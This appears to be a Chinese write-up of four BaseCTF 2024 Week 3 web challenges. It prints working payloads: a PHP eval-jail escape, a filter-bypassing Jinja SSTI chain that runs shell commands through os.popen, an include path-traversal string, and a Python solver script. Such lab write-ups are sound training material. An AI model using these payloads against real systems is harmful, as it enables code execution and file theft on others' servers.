2024BaseCTF-Week3-Web

Week3

官方WP

https://j0zr0js7k7j.feishu.cn/wiki/XN3BwnHrZihQ3ZkhEyocb5EJnUd

ez_php_jail

题目描述

DT最怕坐牢了...但是包吃包住啊!

考点

  • php解析特性

  • php过滤绕过

题解

题面

<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
    if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
        return false;
    }
    return true;
}

if (Like_Jail($Jail)) {
    eval($Jail);
    echo "Yes! you escaped from the jail! LOL!";
} else {
    echo "You will Jail in your life!";
}
echo "\n";
// 在HTML解析后再输出PHP源代码
?>

审计发现包含hint.html,尝试读取

basectf2024_week2_web_phpjail_1

hint在./cGgwX2luZm9fTGlrZV9qYWlsLnBocA==,base64解码为ph0_info_Like_jail.php,尝试访问,发现返回的是

basectf2024_week2_web_phpjail_2

basectf2024_week2_web_phpjail_3

得到php版本为7.4.27,且大部分命令执行函数都被禁止了

尝试传参Jail_by.Happy=1,但提示Do You Like My Jail?,这是因为php在解析时会把.替换为_,而在小于8的php版本中,[会被转化为_,其之后的.不会再被转化,因此需要传Jail[by.Happy=1,这样就不会提示Do You Like My Jail?

命令执行函数被禁了,文件包含函数也被禁了,但还可以使用highlight_file()来读取文件,但又因为a被禁了,因此需要用到通配符,猜测flag在根目录下,结合目录变量漏洞,构造Jail[by.Happy=highlight_file(glob("../../../../fl*g")[0]);

glob() 函数返回匹配指定模式的文件名或目录,该函数返回一个包含有匹配文件 / 目录的数组。


复读机

题目描述

一位复读机发明了一个复读机来复读flag

考点

  • SSTI模板注入

题解

简单fuzz测试一下,发现过滤了'class', 'base', 'mro', 'init', 'global', 'builtin', 'config', 'request', 'lipsum', 'cycler', 'url_for', 'os', 'pop', 'format', 'replace', 'reverse','{{', '}}', '__', '.', '*', '+', '-', '/', '"', ':', '\',并且需要是BaseCTF开头

{{}}被过滤了,使用{%%}代替,但由于{%%}没有输入,因此需要搭配print()使用,即{%print(''.__class__)%}获取类对象,.过滤了可以使用[]代替,class代替可以用拼接绕过,修改payload为{%print(''['_'+'_cla'+'ss_'+'_'])%}

以下先不进行绕过操作,使用原始payload

  • 获取字符串的类对象{%print(''.__class__)%}

  • 寻找基类{%print(''.__class__.__mro__)%}

  • 寻找可用引用{%print(''.__class__.__mro__[0].__subclasses__())%}

    {%print(''.__class__.__mro__[1].__subclasses__())%}

    {%print(''.__class__.__mro__[0].__subclasses__()[104])%}找到_frozen_importlib_Builtinlmporter模块

    payload为{%print(''.__class__.__base__.__subclasses__()[104]['load_module']('os')['popen']('cat /flag').read())%}

由于/.被过滤,使得难以访问到根目录,linux中有一个dirname命令可以获取到父目录名称,通过与pwd组合,便可获得指向上一级目录,即$(dirname $(pwd)),因此,执行命令为cd $(dirname $(pwd));cat flag

综上,原始payload为{%print(''.__class__.__base__.__subclasses__()[104]['load_module']('os')['popen']('cd $(dirname $(pwd));cat flag').read())%}

绕过过滤的最终payload为

flag=BaseCTF{%print(''['_'+'_cla'+'ss_'+'_']['_'+'_m'+'ro'+'_'+'_'][1]['_'+'_subc'+'lasses_'+'_']()"[104]['load_module']('o'+'s')['po'+'pen']('cd $(dirname $(pwd));cat flag')['read']())%}

滤个不停

题目描述

过滤这么多还怎么玩!等等....不对劲

考点

  • 文件包含

  • 目录遍历

题解

题面

<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
    die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
    if (strpos($Datch, $char) === false) {
        $is_valid = false;
        break;
    }
}

if ($is_valid) {

    $invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

    foreach ($invalid_patterns as $pattern) {
        if (stripos($Datch, $pattern) !== false) {
            die('此路不通换条路试试?');
        }
    }

    include($Datch);
} else {
    die('文件名不合规 请重试');
}
?>

存在include()函数,显然是文件包含漏洞,但是过滤了伪协议

先POST传入incompetent=HelloWorld绕过第一次判断

foreach循环要求$Datch前几位和$required_chars一样,传入Datch=sevanxro即可

结合目录遍历漏洞,使得include包含sevanxro/../../../../../flag

综合下来,POST传入incompetent=HelloWorld&Datch=sevanxro/../../../../../flag


玩原神玩的

题目描述

flag怎么被分解成$array了,不管了,原神,启动!

考点

  • 参数传递
  • python脚本
  • 简单逆向

题解

题面

<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
  ys_open($_GET['tip']);
} else {
  die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
  if ($tip != "我要玩原神") {
    die("我不管,我要玩原神!😭😭😭");
  }
  dumpFlag();
}

function dumpFlag() {
  if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
    die("可恶的QQ人!😡😡😡");
  }
  $a = $_POST['m'][0];
  $b = $_POST['m'][1];
  if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
    die("某站崩了?肯定是某忽悠干的!😡😡😡");
  }
  include 'flag.php';
  $flag[] = array();
  for ($ii = 0;$ii < sizeof($array);$ii++) {
    $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
  }

  echo json_encode($flag);
}
  • 第一步要求sizeof($_POST['len']) == sizeof($array)$array的值不知道,结合include 'flag.php';,推测是flag,flag的长度我们并不知道,所以需要写脚本进行测试,需要注意的是,如果传入len[0]=1&len[1]=1,则sizeof($_POST['len'])==2,同理传入len[0]=1&len[1]=1&len[2]=1,则sizeof($_POST['len'])==3,最终测试得到sizeof($array)==45

  • 第二步传入tip=我要玩原神即可,可能需要url编码一下

  • 第三步传入m[0]=1&m[1]=1

  • 第四步修改m[0]=100%,求出md5("100%")==30bd7ce7de206924302499f197c7a966,修改m[1]=love100%30bd7ce7de206924302499f197c7a966

然后会得到45个flag的字符的ascii值异或上它的下标的md5值

编写脚本先把md5转化回flag的字符的ascii值异或上它的下标的值

再将得到的值异或它的对应下标后再转字符即可

以下完整脚本

import requests
import json

def get_md5():
    url = "http://challenge.basectf.fun:23409/?tip=我要玩原神"
    post_data = {}
    for i in range(45): # sizeof($array)==45
        post_data[f"len[{str(i)}]"] = str(i)

    post_data["m[0]"] = "100%"
    post_data["m[1]"] = "love100%30bd7ce7de206924302499f197c7a966"

    response = requests.post(url, data=post_data).text[5913::]
    datas = json.loads(response)
    with open("md5.txt", "w") as fp:
        for data in datas:
            fp.write(data+"\n")
    return datas

def get_flag(datas):  # MD5列表转flag
    md5_flag = []
    flag = ""
    with open("md5_table.json", "r") as fp:
        md5_table = json.load(fp)
    for data in datas:
        md5_flag.append(md5_table[data])
    print(md5_flag)
    for index, ch in enumerate(md5_flag):
        ch = chr(int(ch) ^ index)
        flag += ch
    return flag

print(get_flag(get_md5()))

生成md5_table.json(md5彩虹表)

import hashlib
import json

md5_list = []
md5_table = {}

for i in range(1000):  # 1到1000的数字
    md5_list.append(str(i))

for i in range(32, 126):  # 特殊字符及字母
    md5_list.append(chr(i))

print(md5_list)
for i in md5_list:
    md5 = hashlib.md5()
    md5.update(i.encode("utf-8"))
    print(md5.hexdigest())
    md5_table[md5.hexdigest()] = i  # 形如{"md5值":"原字符"}的字典

with open("md5_table.json", "w") as fp:
    json.dump(md5_table, fp)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇